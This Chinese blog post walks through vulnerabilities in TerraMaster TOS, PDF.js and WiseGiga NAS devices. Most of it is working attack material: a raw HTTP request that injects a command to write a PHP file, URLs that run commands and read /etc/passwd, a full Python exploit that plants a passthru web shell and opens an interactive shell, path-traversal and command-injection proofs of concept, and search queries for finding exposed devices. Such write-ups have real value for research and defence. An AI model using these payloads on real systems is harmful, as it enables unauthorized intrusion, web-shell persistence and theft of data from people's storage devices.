    private static $filter = array(".", "..", ".svn", "lost+found", "aquota.group", "aquota.user");

发现 $notHeader 数组中并不存在方法名 createRaid,看一下 api.php 中的定义

img

$instance = new $class();
if (!in_array($function, $class::$notHeader)) {
    #防止请求重放验证...
    if (tos_encrypt_str($_SERVER['HTTP_TIMESTAMP']) != $_SERVER['HTTP_SIGNATURE'] || $_SERVER['REQUEST_TIME'] - $_SERVER['HTTP_TIMESTAMP'] > 300) {
        $instance->output("Illegal request, timeout!", 0);
    }
}
$instance->$function();

由于实例化的过程中存在验证请求头,所以需要通过if判断才能调用该方法进行命令执行

if (tos_encrypt_str($_SERVER['HTTP_TIMESTAMP']) != $_SERVER['HTTP_SIGNATURE'] || $_SERVER['REQUEST_TIME'] - $_SERVER['HTTP_TIMESTAMP'] > 300) {
        $instance->output("Illegal request, timeout!", 0);
    }

看到这里主要是两个参数值得关注: HTTP_TIMESTAMPHTTP_SIGNATURE

跟踪方法 tos_encrypt_str 在源码中并没有找到,我们查看下php扩展函数列表

img

img

下载这个 so文件使用 IDA打开 搜索字符串 tos_encrypt_str

img

img

跟进方法 get_mac_addr

img

这里可以看到获取 eth0网卡mac,再经过 php_sprintf, 跟进下 &ubk_38fa

img

实际上就是获取了 mac的最后3个字节, 例如mac地址为: 11.22.33.44.55.66, 经过后获取为 445566

img

回到函数执行的地方,我们就可以知道,实际上这个函数等同于

# mac addr 11:22:33:44:55:66
tos_encrypt_str(xxxxxx) = md5(445566xxxxxx)

看看之前的判断代码

$instance = new $class();
if (!in_array($function, $class::$notHeader)) {
    #防止请求重放验证...
    if (tos_encrypt_str($_SERVER['HTTP_TIMESTAMP']) != $_SERVER['HTTP_SIGNATURE'] || $_SERVER['REQUEST_TIME'] - $_SERVER['HTTP_TIMESTAMP'] > 300) {
        $instance->output("Illegal request, timeout!", 0);
    }
}
$instance->$function();

TIMESTAMP参数为当前时间戳,这里的判断逻辑就很清楚了

md5(mac地址后三字节 + 当前时间戳) = $_SERVER['HTTP_SIGNATURE']

通过之前提到的漏洞 CVE-2022-24990 泄漏的 PWD和mac地址,我们就可以利用这个命令执行漏洞了, 通过刚刚的逻辑写POC获取信息

image-20220320004751660

在发送请求包写入 php恶意文件

POST /module/api.php?mobile/createRaid HTTP/1.1
Host: 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Authorization: $1$hq6UR8XW$ti.QT5f9wQQg1PcJFWdub/
Cache-Control: max-age=0
Content-Length: 82
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=f1d33267c0ee0c34e9a348402205e272; tos_visit_time=1647670158
Signature: e856010781d0efd904d57ac40517859c
Timestamp: 1647678138
Upgrade-Insecure-Requests: 1
User-Agent: TNAS

raidtype=%3Becho+%22%3C%3Fphp+phpinfo%28%29%3B%3F%3E%22%3Evuln.php&diskstring=XXXX

img

访问写入的文件

image-20240811200900758

CVE-2022-24990

TerraMaster TOS 信息泄漏漏洞

漏洞描述

TerraMaster TOS 存在信息泄漏漏洞,攻击者通过漏洞可以获取服务器上的敏感信息,配合 CVE-2022-24989漏洞可以获取服务器权限

漏洞影响

TerraMaster TOS < 4.2.31

网络测绘

“TerraMaster” && header=”TOS”

漏洞复现

登录页面

img

根据POC我们看到 api.php 文件

img

# 例如下列的Url调用那么$class将是 class,并且$function 是 func。
/module/api.php?class/func

我们注意看这几个位置,这里首先定义了一个方法数组, 然后再通过判断调用的方法是否存在这个数组里来定义 REQUEST_MODE参数的值

$GLOBALS['NO_LOGIN_CHECK'] = array("webNasIPS", "getDiskList", "createRaid", "getInstallStat", "getIsConfigAdmin", "setAdminConfig", "isConnected");

if (!in_array($function, $GLOBALS['NO_LOGIN_CHECK'])) {
    define('REQUEST_MODE', 1);
    //加载原始session
    if (isset($in['PHPSESSID']) && !empty($in['PHPSESSID'])) {
        session_id($in['PHPSESSID']);
        $GLOBALS['sessionid'] = $in['PHPSESSID'];
    }
    @session_start();
    @session_write_close();
    //初始化阵列
    $raid = new raid();
    $base_md = $raid->_main_disk();
    if (!empty($base_md)) {
        define('DATA_BASE', "$base_md/");
    } else {
        define('DATA_BASE', null);
    }
    define('USER_PATH', DATA_BASE . "User/"); //用户目录
    define('PUBLIC_PATH', DATA_BASE . "public/"); //公共目录
    define('DATA_THUMB', DATA_BASE . '@system/thumb/');//缩略图生成存放
} else {
    define('REQUEST_MODE', 0);
}

img

走完判断代码后就会实例化 所声明的类$class并调用所声明的方法$function。

$instance = new $class();
if (!in_array($function, $class::$notHeader)) {
    #防止请求重放验证...
    if (tos_encrypt_str($_SERVER['HTTP_TIMESTAMP']) != $_SERVER['HTTP_SIGNATURE'] || $_SERVER['REQUEST_TIME'] - $_SERVER['HTTP_TIMESTAMP'] > 300) {
        $instance->output("Illegal request, timeout!", 0);
    }
}
$instance->$function();

我们再来到漏洞出现的文件 include/class/mobile.class.php

img

构造函数中有几个关键的判断

function __construct()
    {
        parent::__construct();
        $this->start = $this->mtime();

        if ($_SERVER['HTTP_USER_DEVICE'] == "TNAS"){
            $_SERVER['HTTP_USER_AGENT'] = "TNAS";
        }
        if (!in_array(Action, self::$notHeader)) {
            if (!strstr($_SERVER['HTTP_USER_AGENT'], "TNAS") || !isset($_SERVER['HTTP_AUTHORIZATION'])) {
                if($this->REQUESTCODE != $_SERVER['HTTP_AUTHORIZATION'] && hash("sha256", $this->REQUESTCODE) != $_SERVER['HTTP_AUTHORIZATION']) {
                    $this->output("Illegal request, please use genuine software!", false);
                }
            }
        }
        if (REQUEST_MODE) {
            if (DATA_BASE == null) {
                $this->output("main raid not exists", false);
            }
            //避免session不可写导致循环跳转
            if (!isset($_SESSION)) {
                $this->output("session write error!", false);
            } else {
                $this->user = &$_SESSION['kod_user'];
            }
            if (isset($this->in['PHPSESSID'])) {
                $this->sessionid = $this->in['PHPSESSID'];
            }
            #管理员接口
            if (in_array(Action, $this->noPermission)) {
                if ($this->user['role'] != "root") {
                    $this->output("User [{$this->user['name']}] does not have permission!", false);
                }
            }
        }
        if (!in_array(Action, self::$notCheck)) {
            if (!$this->loginCheck()) {
                $this->output("login is timeout", 0);
            }
        }
        //初始化
        if (self::$U == null) self::$U = new person();
        if (self::$U->deamon()) {
            $this->output("user hasn't permission!", true, 0);
        }
    }

第一个判断了调用的方法名称是否在$notHeader数组中,它会测试用户代理 http 标头是否为 ‘TNAS’ 并且 AUTHORIZATION 标头是否等于$this->REQUESTCODE。否则它会退出并显示错误消息

img

第二个判断了调用的方法是否存在于不需要登录的方法

if (!in_array(Action, self::$notCheck)) {
            if (!$this->loginCheck()) {
                $this->output("login is timeout", 0);
            }
        }

接着看下 webNasIPS 调用的定义

img

img

可以发现这个方法均存在于这些判断数组中,我们跟踪到这个方法

img

可以发现这个方

image-20240811201228895法的调用只需要添加 User-Agent: TNAS, 我们就可以调用这个方法来获取服务器中敏感信息

/module/api.php?mobile/webNasIPS

TerraMaster TOS exportUser.php 远程命令执行

漏洞描述

TerraMaster TOS exportUser.php 文件中存在远程命令执行漏洞

漏洞影响

TerraMaster TOS < 4.1.24

网络测绘

“TerraMaster” && header=”TOS”

漏洞复现

出现漏洞的文件 *exportUser.php*

<?php
    include_once "./app.php"; // [1] autoload classes
    class CSV_Writer{
        ...
    }
    $type = $_GET['type'];
    $csv = new CSV_Writer();
    if($type == 1){
        $P = new person();
        $data = $P->export_user($_GET['data']);
        $csv->exportUser($data);
    } else if($type == 2) {
        $P = new person();
        $data = $P->export_userGroup($_GET['data']);
        $csv->exportUsergroup($data);
    } else { // [2] type value is bigger than 2
        //xlsx通用下载
        $type = 0;
        $class = $_GET['cla'];
        $fun = $_GET['func'];
        $opt = $_GET['opt'];
        $E = new $class();
        $data = $E->$fun($opt); // [3] vulnerable code call
        $csv->exportExcel( $data['title'], $data['data'], $data['name'], $data['save'], $data['down']);
    }
?>

在其他文件的代码检查期间,也发现有一种方法可以利用TOS软件中预先存在的类来利用此问题。
位于include/class/application.class.php中的PHP类是在运行TOS软件的设备上执行命令的最佳人选。

由于exportUser.php没有身份验证控件,因此未经身份验证的攻击者有可能通过提供以下值作为HTTP GET参数来实现代码执行。

http://xxx.xxx.xxx.xxx/include/exportUser.php?type=3&cla=application&func=_exec&opt=(cat%20/etc/passwd)>test.txt

返回200后再次访问

http://xxx.xxx.xxx.xxx/include/test.txt

image-20240811200922184

CVE-2020-28188

TerraMaster TOS makecvs.php 远程命令执行漏洞

漏洞描述

TerraMaster TOS 4.2.06 以下中 makecvs.php 存在任意文件写入,攻击者可以上传恶意文件控制服务器

漏洞影响

TerraMaster TOS < 4.2.06

网络测绘

“TerraMaster” && header=”TOS”

漏洞复现

登录页面如下

img

存在漏洞的为 /include/makecvs.php 中的Event参数

使用EXP文件上传并执行命令

img

漏洞POC

# Exploit Title: TerraMaster TOS 4.2.06 - RCE (Unauthenticated)
# Date: 12/12/2020
# Exploit Author: IHTeam
# Full Write-up: https://www.ihteam.net/advisory/terramaster-tos-multiple-vulnerabilities/
# Vendor Homepage: https://www.terra-master.com/
# Version: <= 4.2.06
# Tested on: 4.1.30, 4.2.06

#!/usr/bin/env python3
import argparse
import requests
import time
import sys
import urllib.parse
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

parser = argparse.ArgumentParser(description="TerraMaster TOS <= 4.2.06 Unauth RCE")
parser.add_argument('--url', action='store', dest='url', required=True, help="Full URL and port e.g.: http://192.168.1.111:8081/")
args = parser.parse_args()

url = args.url
headers = {'User-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36'}
epoch_time = int(time.time())
shell_filename = "debug"+str(epoch_time)+".php"

def check_endpoint(url, headers):
	response = requests.get(url+'/version', headers=headers, verify=False)
	if response.status_code == 200:
		print("[+] TerraMaster TOS version: ", str(response.content))
	else:
		print("\n[-] TerraMaster TOS response code: ", response.status_code)
		sys.exit()
		
def upload_shell(url, headers, shell_filename):
	payload = "http|echo \"<?php echo(passthru(\\$_GET['cmd']));?>\" >> /usr/www/"+shell_filename+" && chmod +x /usr/www/"+shell_filename+"||"
	payload = urllib.parse.quote(payload, safe='')
	print("[/] Uploading shell...")
	response = requests.get(url+'/include/makecvs.php?Event='+payload, headers=headers, verify=False)
	time.sleep(1)
	response = requests.get(url+'/'+shell_filename+'?cmd=cat /etc/passwd', headers=headers, verify=False)
	if ('root:' in str(response.content, 'utf-8')):
		print("[+] Upload succeeded")
	else:
		print("\n[-] Error uploading shell: ", response.content)
		sys.exit()

def interactive_shell(url, headers, shell_filename, cmd):
	response = requests.get(url+'/'+shell_filename+'?cmd='+urllib.parse.quote(cmd, safe=''), headers=headers, verify=False)
	print(str(response.text)+"\n")


def delete_shell(url, headers, shell_filename):
	delcmd = "rm /usr/www/"+shell_filename
	response = requests.get(url+'/'+shell_filename+'?cmd='+urllib.parse.quote(delcmd, safe=''), headers=headers, verify=False)
	print("\n[+] Shell deleted")

upload_shell(url, headers, shell_filename)
try:
	while True:
		cmd = input("# ")
		interactive_shell(url, headers, shell_filename, cmd)
except:
	delete_shell(url, headers, shell_filename)

pdfjs

CVE-2024-4367

PDF.js 任意JavaScript代码执行(CVE-2024-4367)

PDF.js是Mozilla推出的一款开源PDF文件阅读器。

其4.1.392版本及以前,PDF.js中存在一处JavaScript代码注入漏洞。

参考链接:

漏洞环境

执行如下命令启动一个使用了PDF.js 4.1.392的服务器:

docker compose up -d

服务启动后,访问http://your-ip:8080你可以看到一个上传页面。

漏洞复现

上传恶意PDF文件poc.pdf,即可触发XSS弹窗:

image-20240805183715331

WiseGiga

WiseGiga NAS down_data.php 任意文件下载漏洞

漏洞描述

WISEGIGA NAS down_data.php 存在任意文件下载漏洞,由于 /down_data.php 页面 filename 参数过滤不严,导致可以读取系统敏感文件。

漏洞影响

WiseGiga NAS

网络测绘

app=”WISEGIGA-NAS”

漏洞复现

主页面

img

验证POC

/down_data.php?filename=../../../../../../../../../../../../../../etc/passwd

image-20240811202206642

WiseGiga NAS group.php 远程命令执行漏洞

漏洞描述

WiseGiga NAS group.php文件存在远程命令执行漏洞,攻击者通过发送特定的请求包可以获取服务器权限

漏洞影响

WiseGiga NAS

网络测绘

app=”WISEGIGA-NAS”

漏洞复现

主页面

img

验证POC

/admin/group.php?memberid=root&cmd=add&group_name=d;id>1.txt

img

image-20240811202225768


文章作者: 吗喽の小屋
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 吗喽の小屋 !
  目录